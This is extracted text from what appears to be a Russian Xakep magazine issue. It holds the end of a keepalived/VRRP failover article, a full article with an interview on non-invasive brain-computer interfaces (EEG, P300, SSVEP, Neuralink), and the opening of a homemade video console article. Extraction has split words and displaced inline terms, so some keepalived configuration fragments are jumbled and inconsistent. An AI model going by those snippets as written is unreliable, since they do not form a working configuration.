не прой дут даль ше мар шру тиза тора.

Что бы избе жать подоб ного, мож но исполь зовать sync groups. Они работа‐ 
ют  так:  если  интерфейс  из  одной  груп пы  перехо дит  в  сос тояние  backup,
вмес те с ним перей дут и все осталь ные.

Ес ли у тебя нас тро ены   с наз вани ями LAN и WAN, свя зать
их в одну груп пу син хро низа ции мож но вот так:

vrrp_instance

vrrp_sync_group my‐sync‐group {
 group { LAN WAN }

}

Внеш ние скрип ты
Иног да  встро енной  фун кци ональ нос ти  ока зыва ется  недос таточ но.  В  этом
слу чае мож но рас ширить ее с помощью внеш них скрип тов.

Нап ример,  для  тебя  кри тичес ки  важ на  дос тупность  сай та  xakep.ru.  Тог да
мож но соз дать скрипт   с 
 и добавить в keepalived.conf сле дующее (не внутрь  ):

/usr/local/bin/xakep_test.sh ping ‐c1 xakep.
ru vrrp_instance

vrrp_script xakep_test {
 script "/config/scripts/test.sh"
 interval 60 # Выполнять раз в минуту
 fall 3 # Три неудачных выполнения считать отказом
 rise 1 # Одно удачное считать успехом

}

А потом добавить опцию    (внутрь 
).

track_script { xakep_test } vrrp_in‐
stance

Мож но так же выпол нять скрип ты при изме нении сос тояния VRRP, опци ями
, 

и  .  В  стан дарте  это  не  ука зано,
но keepalived поз воля ет раз личать нор маль ный переход в сос тояние backup
(нап ример, из‐за preempt) и ава рий ный. В пер вом слу чае выпол няет ся скрипт
из  ,  а  во  вто ром  —  из  .  Это  быва ет  полез но
для  отправ ки  уве дом лений  адми ну  или  для  при мене ния  нас тро ек,  которые
дол жны быть толь ко на основном мар шру тиза торе.

notify_master  "/path/to/script" notify_backup  "/path/to/script"
notify_fault  "/path/to/script"

notify_backup notify_fault

От клю чаем preempt
По умол чанию keepalived исполь зует preempt, то есть мар шру тиза тор с боль‐ 
шим  при ори тетом  всег да  вер нет  себе  ста тус  master  пос ле  воз вра щения
из  ава рий ного  сос тояния.  Если  ты  хочешь  избе жать  лиш них  перек лючений,
прос то добавь   внутрь нас тро ек  .nopreempt vrrp_instance

ЗАКЛЮЧЕНИЕ
На деюсь, эта статья поможет тебе стро ить отка зоус той чивые сети. Даже если
ты исполь зуешь VRRP (и, в час тнос ти, keepalived) толь ко в сос таве спе циали‐ 
зиро ван ных  сетевых  дис три бути вов,  а  не  нап рямую,  всег да  полез но
понимать, как он работа ет.

mailto:daniil@baturin.org
https://tools.ietf.org/html/rfc3768
https://www.keepalived.org/
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Уп равлять  компь юте ром  силой  мыс ли —  дав няя  и  пока  что
нес быточ ная меч та. Но шаги в этом нап равле нии дела ются,
и даже неболь шие  успе хи  в  раз работ ке  ней роин терфей сов
откры вают  воз можнос ти,  мощ но  отда ющие  кибер панком.
В  этой  статье  мы  раз берем ся,  чего  наука  чте ния  мыс лей
дос тигла  на  сегод няшний  день,  и  узна ем,  как  кон крет но
реали зуют ся неин вазив ные методы.

С ЧЕГО ВСЕ НАЧИНАЛОСЬ
Ин терес  к  изу чению  моз га  тех ничес кими  метода ми  воз ник  срав нитель но
недав но — при мер но на рубеже XIX и XX веков. В 1920‐х годах иссле дова тель

 пред положил, что ней роны генери руют элек три чес кие импуль‐ 
сы  и  слу жат  базовым  эле мен том  куда  более  слож ной  струк туры. Поз же 

 раз работал (1949) теорию плас тичнос ти синап тичес кой переда чи
и  ней рон ных  ансам блей,  что  перевер нуло  пред став ление  об  обя зан ностях,
«зак реплен ных»  за  кон крет ными  областя ми  коры  голов ного  моз га.  Ока‐ 
залось, что при необ ходимос ти ней роны охот но меня ют свои фун кции и нель‐ 
зя  выделить  какую‐то  одну  груп пу,  отве чающую,  нап ример,  за  навыки
информа цион ной безопас ности.

Эд гар Эдри ан
До‐ 

нальд Хебб

В  1960‐х  в  лабора тории  ней рональ ного  кон тро ля  Наци ональ ного  инсти‐ 
тута здо ровья США впер вые попыта лись записать и обра ботать элек три чес‐ 
кий сиг нал с ней ронов подопыт ной обезь яны. Пару десяти летий спус тя эта же
груп па  уче ных  экспе римен тирова ла  с  ана лизом моз говой  деятель нос ти  уже
в реаль ном вре мени, поз воляя паци ентам зажигать лам почки све тово го таб‐ 
ло  «силой  мыс ли».  Открыв шиеся  воз можнос ти  окры лили  иссле дова телей,
и вари анты прик ладных при мене ний не зас тавили себя дол го ждать. Пер вая
науч ная  статья,  опи сыва ющая  успешные  экспе римен ты  с  «вир туаль ной  кла‐ 
виату рой» для парали зован ных людей, выш ла в 1999 году ( ).Нилс Бир баумер

Увы, мыс литель ные про цес сы челове ка ока зались устро ены гораз до слож‐ 
нее,  чем  изна чаль но  пред полага ли  уче ные.  Этим  объ ясня ется  некото рый
спад инте реса к ней роин терфей сам в начале XXI века. Одна ко исто рия цик‐ 
лична, и сегод ня мно гие про екты пережи вают вто рое рож дение.

Во‐пер вых,  это му  спо собс тво вал  прог ресс  в  аппа рат ном  обес печении.
За пос ледние нес коль ко лет в про даже появи лись дос тупные по цене и отно‐ 
ситель но  мало  пот ребля ющие  ана лого‐циф ровые  пре обра зова тели  (АЦП),
которые  мож но  успешно  исполь зовать  в  задачах  оциф ровки  биоло гичес ких
сиг налов.  Нап ример,  сиг ма‐дель та‐АЦП    име ет  заяв ленное  раз‐ 
решение  32  бит,  уро вень  собс твен ных  шумов  поряд ка  7  нВ,  мак сималь ную
час тоту оциф ровки 38,4  кГц и пол ное вход ное соп ротив ление око ло 1  ГОм.
Эти  качес тва  поз воля ют  исполь зовать  мик росхе му  в  сис темах  сбо ра
информа ции без допол нитель ных буфер ных уси лите лей.

ADS1263

Кро ме  АЦП,  сущес твен но  прод винулись  по  харак терис тикам  инс тру мен‐ 
таль ные  уси лите ли,  вход ное  соп ротив ление  которых  приб лижа ется  к  тера‐ 
омам, а коэф фици ент уси ления сос тавля ет десят ки тысяч раз. При этом собс‐ 
твен ные  токи  уте чек  и  токовый шум  не  пре выша ют  одно го  пико ампе ра,  что
помога ет раз работ чикам про екти ровать край не чувс тви тель ные схе мы съема
биопо тен циалов.

Из  более  оче вид ных  вещей:  про изво дитель ность  наших  компь юте ров
вырос ла в десят ки раз. Не в пос леднюю оче редь это ста ло воз можным бла‐ 
года ря исполь зованию GPU‐, FPGA‐ и ASIC‐мик росхем для ана лиза сиг налов
в реаль ном вре мени. Кро ме того, весь ма популяр ная сегод ня модель орга‐ 
низа ции вычис лений в обла ке поз воля ет ком пани ям лег ко арен довать необ‐ 
ходимые мощ ности, кон цен три руясь на глав ном.

Во‐вто рых, вмес те с аппа рат ной частью эво люци они рова ли и воз можнос‐ 
ти  нашего  прог рам мно го  обес печения.  Появи лись  дру жес твен ные  к  иссле‐ 
дова телям фрей мвор ки,  высоко уров невые  язы ки  прог рамми рова ния  и  мно‐ 
гочис ленные  спо собы  визу али зации  и  клас сифика ции  информа ции.  Нап‐ 
ример,  сегод ня  с  помощью  ней росети  мож но  лег ко  отсле живать  воз ника‐ 
ющие события и кор реляцию даже в зашум ленных рядах дан ных.

Ни же  на  рисун ке  изоб ражены  основные  груп пы  алго рит мов,  которые
исполь зуют ся для поис ка осо бен ностей сиг нала в реаль ном вре мени.

Что  каса ется  основно го  источни ка  информа ции  для  интерфей са  «мозг  —
компь ютер», то тут осо бых изме нений не про изош ло. Сегод ня наибо лее час‐ 
то  исполь зуют ся  сиг налы  с  элек тро энце фалог рамм.  Аль тер натив ным  спо‐ 
собом может быть фун кци ональ ная маг нитно‐резонан сная томог рафия ( )
и  . Одна ко, как ты понима ешь, раз работать ком пак‐ 
тный  томог раф  прак тичес ки  невоз можно,  а  мно гомил лион ная  сто имость
готовых  аппа ратов  огра ничи вает  их  исполь зование  толь ко  круп ными  кол‐ 
лекти вами в ком пани ях и инсти тутах.

fMRI
маг нито энце фалог рафия

НЕЙРОИНТЕРФЕЙСЫ СЕГОДНЯ
Сня тие  сиг налов  ЭЭГ,  как  и  любых  дру гих  малых  ана лого вых  сиг налов,  —
задача весь ма неп ростая: их харак терис тики нес таци онар ны, они под верже‐ 
ны  внеш нему шуму  и могут  вли ять  друг  на  дру га. Сущес тву ющие  на  дан ный
момент  про екты  кла виатур  и  про чих  устрой ств  вво да  пред полага ют  исполь‐ 
зование  внеш него  сти мула.  Воз ника ющий  ответный  отклик  и  будет  улав‐ 
ливать ся сен сорной частью BCI (Brain Computer Interface). Сог ласись, гораз‐ 
до про ще уста новить событие, ког да ты точ но зна ешь, ког да имен но оно дол‐ 
жно было про изой ти. :)

В общем слу чае сти мулы мож но раз делить на две основные груп пы. Event
Related Potentials (ERPs) — это сиг налы моз га, генери руемые в ответ на ощу‐ 
щаемые  или  ког нитив ные  события  (гром кий  звук,  рез кий  запах).  А  Visualy
Evoked Potentials (VEPs) — это сиг налы, под креп ленные каким‐либо визу аль‐ 
ным воз дей стви ем.

Ду маю, про ще пояс нить на при мерах: ког да у челове ка сто ит задача выб‐ 
рать один пред мет из мно гих изоб ражен ных, работа ет прин цип ERP. В ответ
на  нуж ный  сти мул  с  опре делен ной  задер жкой  воз ника ет  хорошо  регис три‐ 
руемый  сис темами  ЭЭГ  однократ ный  сиг нал.  Если  же  в  область  вни мания
челове ка  попада ет мер цающий  с  опре делен ной  интенсив ностью  гра фичес‐ 
кий объ ект и есть воз можность зах ватить перемен ный сиг нал от элек тро дов
на соот ветс тву ющей час тоте — это сис тема VEP.

На ибо лее широко исполь зует ся сегод ня метод SSVEP (Steady State VEP).
Это такой фор мат визу аль ной кла виату ры, в котором каж дому эле мен ту соот‐ 
ветс тву ет  своя  уни каль ная  час тота  мер цания.  Поль зователь  при  этом  ими‐ 
тиру ет  нажатие  кноп ки  с  помощью  фокуси ров ки  вни мания  на  нуж ном  ком‐ 
понен те интерфей са.

Как пра вило,  активность  учас тков моз га  в ЭЭГ при нято делить по наб люда‐ 
емой час тоте (в гер цах): дель та   тета   аль фа   бета 

 и гам ма   Для ана лиза сиг налов челове чес кой мотори ки (в
том  чис ле  дви жений  паль цев  при  наборе  на  кла виату ре)  исполь зует ся
в основном ана лиз аль фа‐ и бета‐активнос ти.

( ),f<=4 ( ),4<f<=8 ( ),8<f<=12
( )12<f<=30 ( ).f>30

Впро чем, не все так прос то. Качес тво сни маемых элек тро энце фалог рамм
силь но зависит от мно жес тва сто рон них фак торов, вплоть до сос тояния здо‐ 
ровья и  текуще го нас тро ения  челове ка. Поэто му мно гие реаль но сущес тву‐ 
ющие  сис темы  час то  не  толь ко  под гоня ют  под  кон крет ного  поль зовате ля,
но и обя затель но калиб руют вре мя от вре мени.

КАК ВСЕ ЭТО РАБОТАЕТ?
Че лове чес кий мозг — очень слож ная шту ка, даже если это мозг оче ред ного
скрипт‐кид ди.  И  соеди нить  его  нап рямую  с  компь юте ром  в  бли жай шие  лет
двад цать точ но не получит ся (хотя в слу чае выше это, воз можно, и к луч шему).
Для того что бы ими тиро вать фун кции обыч ной кла виату ры, при дет ся спер ва
обза вес тись устрой ством, выда ющим опре делен ные сти мулы. Здесь сго дит‐ 
ся любой экран — нап ример, отживший свое монитор.

Кро ме  того,  нуж на  будет  сис тема  сбо ра  информа ции.  Их  делят  на  две
катего рии:  инва зив ные  и  (сюр приз!)  неин вазив ные.  Пер вые  пред полага ют
непос редс твен ное внед рение элек тро дов в области  голов ного моз га и  тре‐ 
буют хирур гичес кого вме шатель ства, тог да как вто рые поз воля ют оце нивать
биопо тен циалы уда лен но и дос тупны поч ти всем жела ющим.

INFO

На самом деле, нес мотря на все слож ности и луч‐ 
шее соот ношение сиг нал — шум, инва зив ные сис‐ 
темы  не  пре дос тавля ют  каких‐то  сущес твен ных
пре иму ществ  по  срав нению  с  неин вазив ными.
Сов ремен ные иссле дова ния не под твер дили воз‐ 
можность  извлечь  мыс ленные  обра зы  из‐под
череп ной  короб ки,  поэто му  шапоч ку  из  фоль ги
можешь  если  и  не  выб росить,  то  хотя  бы  отло‐ 
жить на даль нюю пол ку.

Се год ня сущес тву ет мно го устрой ств, которые мож но исполь зовать в качес‐ 
тве  прос тей ших  ней роин терфей сов.  Очень  популяр на  плат форма  ,
которая  поз воля ет  иссле дова телям  не  толь ко  собирать  аппа рат ные  стен ды
для получе ния биосиг налов (16 каналов), но и ана лизи ровать их при помощи
собс твен ного фрей мвор ка. Он содер жит боль шинс тво сов ремен ных методов
филь тра ции и выяв ления харак терных осо бен ностей в оциф рован ных дан ных.

OpenBCI

Кро ме того, на сегод няшний день имен но OpenBCI — круп ней шее сооб щес‐ 
тво  людей,  увле кающих ся  ней роин терфей сами  как  в  качес тве  хоб би,  так
и  про фес сиональ но.  В  их  онлайн‐магази не  ты  можешь  купить  все  необ‐ 
ходимое для сво их опы тов, начиная от «сухих» элек тро дов и закан чивая серь‐ 
езны ми пла тами с уси лите лями раз личных биосиг налов.

Так же есть инте рес ные аль тер натив ные раз работ ки, вро де  , под‐ 
держи вающе го до 32 каналов, и   с 14 канала ми.

FreeEEG
E‐motiv EPOC

От дель но  сто ит  отме тить  про ект  ,  в  работе  над  которым  при‐ 
нимал учас тие заведу ющий лабора тори ей ней рофизи оло гии МГУ Алек сандр
Яков левич Кап лан. Его  устрой ство поз воля ет  людям с нарушен ными мотор‐ 
ными фун кци ями общать ся в мес сен дже рах и соц сетях. Ско рость вво да сей‐ 
час сос тавля ет поряд ка десяти сим волов в минуту, одна ко коман да пла ниру ет
добить ся радикаль ного уско рения с помощью новых спо собов: отка за от мат‐ 
рично го  пред став ления  в  поль зу  груп пиров ки  по  приз накам,  сок ращения
набора эле мен тов и исполь зования натив ного авто допол нения.

Ней роЧат
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Кста ти,  если  ты,  про читав  эту  статью,  захотел
соб рать  собс твен ный  полиг раф  (детек тор  лжи)
на  осно ве  перечис ленных  ней роин терфей сов,  то
обра ти  вни мание,  что  такие  экспе римен ты  уже
про води лись, но без какого‐либо положи тель ного
резуль тата.  Выяс нилось  лишь,  что  ложь — шту ка
очень инди виду аль ная и более‐менее опре делен‐ 
но судить о дос товер ности отве тов по воз бужде‐ 
нию тех или иных зон моз га испы туемо го мож но
лишь пос ле тща тель ной инди виду аль ной нас трой‐ 
ки. А это, сам понима ешь, поч ти всег да не вари‐ 
ант.

МЕТОД P300
Те перь  рас смот рим  нес коль ко  полез ных  спо собов,  которые  облегча ют  вза‐ 
имо дей ствие челове ка с компь юте ром по ней роин терфей сам. Самый извес‐ 
тный  такой  спо соб —   —  пред став ляет  собой  сум му  ком понен тов  P3a
и P3b, из‐за чего и получил свое наз вание. Имен но на его осно ве работа ют
мно гие сов ремен ные BCI.

P300

Пред ставь  себе,  что  во  вре мя  экспе римен та  тебя  поп росили  наб людать
за вклю чени ем лам почки крас ного цве та на елоч ной гир лянде. Если при этом
регис три ровать  элек три чес кую  активность  в  сре дин но‐лоб но‐цен траль ной
час ти голов ного моз га, то мы бы уви дели чет кие откли ки на задан ный сти мул
и сма зан ные на лож ные.

Все дело в том, что ког да в поле зре ния челове ка попада ет объ ект инте реса,
то при мер но через 250–500 мс в областях P3a и P3b воз ника ет харак терный
импульс  с  ампли тудой  поряд ка  10  мкВ,  хорошо  раз личимый  сов ремен ным
обо рудо вани ем.  В  боль шинс тве  сис тем  для  надеж ной  регис тра ции  выз‐ 
ванных  потен циалов  дос таточ но  око ло  шес ти  или  семи  элек тро дов:  одно го
референ сно го  и  нес коль ких  допол нитель ных,  рас положен ных  в  височ ных
и цен траль ной областях голов ного моз га.

В    с  вир туаль ной  кла виату рой  с  помощью  метода
P300  и  матема тичес кого  аппа рата    уда лось  добить ся  ско рос ти  вво да
поряд ка  85  бит/мин  при  точ ности  в  95%.  К  недос таткам  метода  мож но
отнести невысо кую ско рость и необ ходимость пол ного перебо ра вари антов
для  всех  строк  и  стол бцов.  Так,  для  мат рицы  6  на  6  необ ходимо  прой‐ 
ти 12 цик лов поис ка, что даже при минималь ных задер жках соз дает ощу тимый
вре мен ной лаг.

эк спе римен тах
SVM
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GEEK  НАЧАЛО СТАТЬИ←

МЕТОД SSVEP
Хо рошей аль тер нативой P300 может быть метод SSVEP,  в  котором  каж дому
эле мен ту на экра не соот ветс тву ет своя час тота мер цания (как пра вило, близ‐ 
кая к 10 Гц). Допол нитель но при этом иног да исполь зует ся харак терный пов‐ 
торя ющий ся  пат терн.  При мер но  по  ана логии  с  орто гональ ными  кодами,
которые  широко  при меня ются  в  ради освя зи  стан дарта    и  некото рых
дру гих областях.

CDMA

В   с фрей мвор ком EEG2Code (Sebastian Nagel, Martin Spuler,
2018)  исполь зовалась  кла виату ра  с  32  кла виша ми.  Дан ные  с  ЭЭГ  пред‐ 
варитель но  филь тро вали,  пос ле  чего  клас сифици рова ли  в  соот ветс твии
с  моделью.  В  резуль тате  иссле дова телям  уда лось  дос тигнуть  сред ней  точ‐ 
ности  рас позна вания  сим волов  поряд ка  99,3%  и  ско рос ти  вво да  око‐ 
ло 205 бит/мин.

эк спе римен те

А уже через год   на ана логич ном обо рудо вании (связ ка из IBM
Power System S822LC и четырех уско рите лей Nvidia Tesla P100) добилась впе‐ 
чат ляющей  сред ней  ско рос ти  в  701  бит/мин  (мак симум  —  1260  бит/мин)
при точ ности свы ше 95%! При этом исполь зовались 32 канала с элек тро дами,
а  клас сичес кие  спо собы  обра бот ки  и  ана лиза  сиг налов  изме нили  в  поль зу
свер точных ней рон ных сетей и алго рит мов Deep Learning.

эта же коман да

Схо жие методы — спек траль ный ана лиз и  клас сифика ция  через  заранее
нат рениро ван ные ней рон ные сети — выб рали и учас тни ки про екта 

  (Renton, Mattingley, Painter, 2018). Их кла виату ра содер жит мень ше кла‐ 
виш  (28),  но  резуль таты  при  этом  ока зались  гораз до  скром нее  —
не более 50 бит/мин.

Brain‐To‐
Brain

КОМБИНИРОВАННЫЕ МЕТОДЫ
Ин терес ным и пер спек тивным вари антом для BCI пред став ляет ся обра бот ка
информа ции  сра зу  с  нес коль ких  каналов.  Так,  ней роин терфей сы  и  ана лиз
ЭЭГ мож но сочетать с кар тинкой от виде ока мер, фик сиру ющих нап равле ние
взгля да поль зовате ля.

В   (Yao, Ma, Wang, Zhang, Liu, Pei, Chen, 2018) опи саны резуль таты
экспе римен тов  по  сов мес тно му  исполь зованию  тре кера  положе ния  взгля да
от  VR‐обо рудо вания  и  ком плек са  на  осно ве  SSVEP.  Так  появ ляет ся  воз‐ 
можность сра зу отбро сить те сим волы, которые не попада ют в фокус челове‐ 
чес кого  гла за.  Сок ращение  дос тупно го  набора  эле мен тов  поз волило  кол‐ 
лекти ву  уве личить  эффектив ную  ско рость  печати  и  сох ранить  про цент  точ‐ 
ности на отличном уров не — 360 бит/мин и 98% соот ветс твен но.

ра боте

Инва зив ный ней роин терфейс Ило на Мас ка
Ин терес  к  ней роин терфей сам  подог рела  пре зен тация  ком пании  Neuralink,
осно ван ной  в  2016  году  Ило ном  Мас ком  —  мил лиар дером,  филан тро пом
и геро ем мно жес тва мемов. На пер воначаль ном эта пе пред полага ется раз‐ 
работ ка  носимо го  аппа рата  инва зив ного  типа,  который  поможет  парали‐ 
зован ным людям. Одна ко Маск рас счи тыва ет, что в даль нейшем тысячи кро‐ 
хот ных элек тро дов (поряд ка 5 мкм) в коре голов ного моз га рас ширят челове‐ 
чес кие воз можнос ти и поз волят обме нивать ся информа цией с компь юте ром
в обе сто роны. При вет, тран сгу манизм!

В июле 2019  года  ком пания Neuralink подели лась резуль татами сво ей двух‐ 
летней  деятель нос ти:  это  чип  N1,  который  пред став ляет  собой  ASIC,  пред‐ 
назна чен ный для пер воначаль ной обра бот ки сиг налов от моз га, готовая сис‐ 
тема с полуто ра тысяча ми элек тро дов, про тес тирован ная на кры сах, а так же
робот‐хирург, который уме ет вжив лять эти элек тро ды, не пов реждая при этом
кору  голов ного  моз га.  Впе чат ляющие  дос тижения  для  такой  молодой  ком‐ 
пании!

Но основные вызовы еще  толь ко под жида ют иссле дова телей. Некото рые их
кол леги отме чают, что подоб ные «иглы» ока жут ся слиш ком хруп кими и со вре‐ 
менем могут дег радиро вать из‐за биохи мичес ких про цес сов в челове чес ком
моз ге.  Кро ме  того,  даже  такие  элек тро ды  все  рав но  слиш ком  боль шие
для ана лиза информа ции с отдель ных ней ронов.

Ка кая  судь ба  ждет  эту  амби циоз ную  раз работ ку,  сей час  ска зать  труд но.
И  дело  не  толь ко  в  тех ничес ких  слож ностях  —  мно гих  вол нует  этич ность
такого  вме шатель ства  в  челове чес кую  при роду.  Не  при ведет  ли  это  к
еще  боль шему  соци аль ному  неравенс тву?  Какое  отно шение  к  людям
с имплан тами сло жит ся в общес тве? Впро чем, говорить об этом ранова то —
испы тания  на  людях  еще  толь ко  впе реди,  и  речь  пока  идет  исклю читель но
о медицин ских при мене ниях.

ИНТЕРВЬЮ
По такому слу чаю я решил задать нес коль ко воп росов сво ему ста рому зна‐ 
комо му Вла дими ру Савино ву  (NoonV). Он сей час как раз работа ет над ней‐ 
роин терфей сами  для  Фон да  пер спек тивных  иссле дова ний  в  Калинин гра де,
поэто му лег ко сог ласил ся на неболь шое интервью.

—  Сегод ня  ней роин терфей сы  час то  при меня ются  либо

для  реаби лита ции  людей  с  наруше ниями  мотор ных  фун кций,

либо  в  качес тве  раз вле чения  —  управля емые  «силой  мыс ли»

ушки,  хвос тики  и  про чее.  Как  ты  дума ешь,  какие  пер спек тивы

ждут ней роин терфей сы в бли жай шем будущем?

—  Если  говорить  про  ней роин терфей сы,  которые  потен циаль но  могут
стать мас совыми,  то  при дет ся  сра зу  отмести  раз личные  вари анты  инва зив‐ 
ных  тех нологий  (то  есть  всех  тех,  которые  тре буют  про веде ния  про цедур
вплоть  до  хирур гичес ких  опе раций).  Это  фак тичес ки  не  оставля ет  нам
выбора, кро ме элек тро энце фалог рафии.

Все эти «уши» и «хвос ты» сле дует отнести ско рее к недора зуме ниям, чем
к  ней роин терфей сам.  В  них  боль ше  уло вок  от  мар кетоло гов,  чем  тру да
от раз работ чиков. Единс твен ный элек трод, который рас полага ют на лбу поль‐ 
зовате ля  (по  той прос той при чине,  что  на  лбу  нет  волос),  ско рее счи тыва ет
сиг налы мышеч ной активнос ти, чем сиг налы голов ного моз га.

Что же  каса ется  ней рок лави атур,  то  сей час  дей стви тель но  есть  устрой ства,
которые  поз воля ют  людям  набирать  текст  «силой  мыс ли».  В  осно ве  боль‐ 
шинс тва подоб ных раз работок лежит счи тыва ние сиг нала ЭЭГ с выяв лени ем
выз ванно го потен циала (Р300).

На прак тике это выг лядит так: поль зовате лю демонс три руют таб лицу с бук‐ 
вами,  которые пери оди чес ки под све чива ются. Ког да человек кон цен три рует
вни мание  на  опре делен ной  бук ве,  пос ле  ее  выделе ния  воз ника ет  отклик
на  счи тыва емом  сиг нале  ЭЭГ.  Что бы  повысить  точ ность  сра баты вания,  эта
про цеду ра  про делы вает ся  нес коль ко  раз.  Таким  обра зом,  набор  тек ста
с исполь зовани ем дан ной методи ки идет не слиш ком быс тро, и полез на она
может быть толь ко для пол ностью парали зован ных паци ентов.

—  Очень  важ ной  задачей  для  ней роин терфей сов  явля ется

обра бот ка  дан ных  и  их  клас сифика ция.  Какие  фрей мвор ки  ты

исполь зуешь и есть ли прог ресс в алго рит мах за пос ледние нес- 

коль ко лет?

—  В  нашей  лабора тории  мы  ведем  раз работ ку  в  основном  с  помощью
язы ка  прог рамми рова ния  Python.  Соот ветс твен но,  при меня ются  доволь но
стан дар тные биб лиоте ки: NumPy, SciPy (для циф ровой обра бот ки сиг налов),
scikit‐learn  (для  клас сичес ких алго рит мов машин ного обу чения) и Keras Ten‐
sorFlow (для искусс твен ных ней росетей).

На  мой  взгляд,  основная  проб лема  с  широким  рас простра нени ем  ней‐ 
роин терфей сов сос тоит в недос таточ ном раз витии исполь зуемых тех нологий
и  вытека ющих отсю да  труд ностях  с  их  прак тичес ким внед рени ем. При мени‐ 
тель но  к ЭЭГ мне нра вит ся ана логия с  заводом или ста дионом,  за сте нами
которо го ты сто ишь и ста раешь ся по шуму уга дать — что же имен но там про‐ 
исхо дит.  Приб лизитель но  догадать ся  мож но,  но  понять  что‐то  кон крет ное
очень слож но.

Имен но  поэто му  та  же  аме рикан ская DARPA  в  сво ей 
  (Next‐Generation  Nonsurgical  Neurotechnology),  которая  ори‐ 

енти рова на  на  раз работ ку  высокоп роиз водитель ных,  дву нап равлен ных
интерфей сов мозг — компь ютер, вооб ще не рас смат рива ет ЭЭГ в качес тве
кан дидата. Судя по дос тупной информа ции, они выб рали шесть нап равле ний
мало инва зив ных  тех нологий  (наноп риемо пере дат чики,  акус тооп тичес кий
под ход и раз личные опти чес кие сис темы).

ис сле дова тель ской
прог рамме  N3

Ра зуме ется, прог ресс в этой области есть, и в пер вую оче редь он свя зан
с  исполь зовани ем  методов  машин ного  обу чения  для  обра бот ки  сиг налов.
Иро нич но, но искусс твен ные ней росети, все это глу бокое обу чение и ИИ дей‐ 
стви тель но помога ют при обра бот ке сиг налов от живых ней ронов челове чес‐ 
кого моз га.

—  По  мне нию  некото рых  людей,  инва зив ные  интерфей сы,

в  том  чис ле  нашумев ший  Neurаlink  Ило на  Мас ка,  —  шту ка  нес- 

коль ко  бес смыс ленная,  так  как  боль шую  часть  фун кций  мож но

успешно  реали зовать  и  неин вазив ными  спо соба ми.  Как  ты  рас- 

смат рива ешь  пер спек тивы  «роботи зации»  людей,  сра щива ния

челове ка и компь юте ра?

—  На  текущем  уров не  раз вития  тех нологий  —  край не  сом нева юсь.  Мы
еще толь ко в начале пути и слиш ком мно гого не зна ем. Что же каса ется ком‐ 
пании  ,  то,  на  мой  взгляд,  основное  дос тоинс тво  пред став ленной
раз работ ки  зак люча ется  в  раз витии  тех нологий  (мини атю риза ция  обо рудо‐ 
вания, роботи зация про цес са раз мещения элек тро дов) и самом стрем лении
к соз данию носимо го ней роин терфей са.

Neuralink

Но пока такое обо рудо вание тре бует хирур гичес ких про цедур — малове‐ 
роят но, что оно получит широкое рас простра нение. Раз ве что сре ди тех, кому
оно необ ходимо по медицин ским сооб ражени ям.

—  Рас смат рива ется  ли  для  ней роин терфей сов  обратная

задача:  нап ример,  сти муля ция  моз га  для  раз вития  памяти?

Или BCI, который бы поз волил переда вать физичес кие ощу щения

от вза имо дей ствия с уда лен ным пред метом?

—  Разуме ется,  такие  задачи  тоже  рас смат рива ются,  но  с  резуль татами
пока  все  не  очень  хорошо.  Опять  же,  мно гое  упи рает ся  в  дос тупные  тех‐ 
нологии  и  необ ходимость  инва зив ного  раз мещения  элек тро дов.  При меры
тех нологий неин вазив ных про цедур:  транс кра ниаль ная сти муля ция пос тоян‐ 
ным током ( ) и маг нитная сти муля ция.tDCS

tDCS — это ког да через элек тро ды и кожу головы про пус кает ся ток поряд‐ 
ка  еди ниц  мил лиам пер.  Некото рые  иссле дова ния  показы вают,  что  эта  про‐ 
цеду ра дей стви тель но помога ет  улуч шить память и обу чаемость. Маг нитная
сти муля ция  при меня ется  сегод ня  в  терапев тичес ких  целях.  Есть  при меры,
ког да она исполь зовалась  в  виде обратной  свя зи  в  сис теме BCI. Для  это го
мощ ным маг нитным полем сти мули рова лась затылоч ная область испы туемо‐ 
го, что при води ло к воз никно вению ярких вспы шек в соз нании ( ).фос фен

Од нако  в  обо их  слу чаях  воз дей ствие  зат рагива ет  слиш ком  боль шие
области  моз га,  так  что  говорить  о  целенап равлен ном  вызове  «ощу щений»
и положи тель ных эффектах пока рано.

— Реаль но ли сегод ня упро щение ней роин терфей сов до такой

сте пени, что бы экспе римен тировать с ними мог даже непод готов- 

ленный  человек?  Нап ример,  какое‑нибудь  «Ней роду ино»,

которое бы рас ширило ауди торию и популя ризо вало нап равле ние

в мас сах?

— Не  вижу  никаких  пре пятс твий.  К  тому  же  про ект  подоб ного  рода  уже
сущес тву ет  —  OpenBCI.  Он  пред лага ет  нес коль ко  видов  уси лите лей  (на
четыре  и  восемь  каналов),  которые мож но  исполь зовать  для  самос тоятель‐ 
ного  съема  сиг нала ЭЭГ.  Так  что  уже  сей час  любой  жела ющий может  поп‐ 
робовать силы в соз дании собс твен ного ней роин терфей са.

ЗАКЛЮЧЕНИЕ
Ко неч но, отка зывать ся от физичес кой кла виату ры сегод ня рано. Даже луч шие
из  ней роин терфей сов  пока  не  спо соб ны  кон куриро вать  с  тра дици онны ми
спо соба ми вво да ни по ско рос ти, ни по точ ности. Тем не менее про екты бод‐ 
ро  раз вива ются,  а  откры тый  инс тру мен тарий  и  дос тупные  элек трон ные
устрой ства сущес твен но рас ширя ют сооб щес тво людей, спо соб ных исполь‐ 
зовать BCI в решении прак тичес ких задач.

Не  спе ши  ста новить ся  в  оче редь  на  опе рацию  по  вжив лению  Neuralink.
Зна ние  о  сот нях  тысяч  биопо тен циалов  челове чес кого  моз га  бес полез но
при печати на компь юте ре, а раз витие науки и тех ники рано или поз дно (ско‐ 
рее  пер вое)  обя затель но  при ведет  к  появ лению  ком мерчес ких  решений.
При вер женцы  механи чес ких  кла виатур  могут  и  даль ше  бла гого вей но  их
исполь зовать,  но  лич но  я  отка жусь  от,  по  сути,  потом ка  печат ной  машин ки
без осо бого тре пета.
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В  этой  статье  я  рас ска жу,  как  собирал  самопаль ную  виде‐ 
окон соль  с  нуля —  вдох новив шись  рет рокон солями  и  сов‐ 
ремен ными про екта ми, но при думав свою уни каль ную архи‐ 
тек туру.  Мои  друзья  сно ва  и  сно ва  пов торяли,  что  нечего
дер жать  этот  про ект  в  тай не,  нуж но,  мол,  поделить ся
с общес твен ностью. Ну вот я и делюсь.

INFO

Это  перевод  статьи  Сер жиу  Вией ры, 
  в  его  бло ге.  Переве ла  Алё на

Геор гиева.
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КАК ВСЕ НАЧИНАЛОСЬ
Ме ня зовут Сер жиу Вией ра, и я пор тугаль ский парень, вырос ший в 80–90‐е.
Я всег да нос таль гировал по рет рокон солям, осо бен но треть его и чет верто го
поколе ний. Нес коль ко лет назад я решил глуб же изу чить элек тро нику и поп‐ 
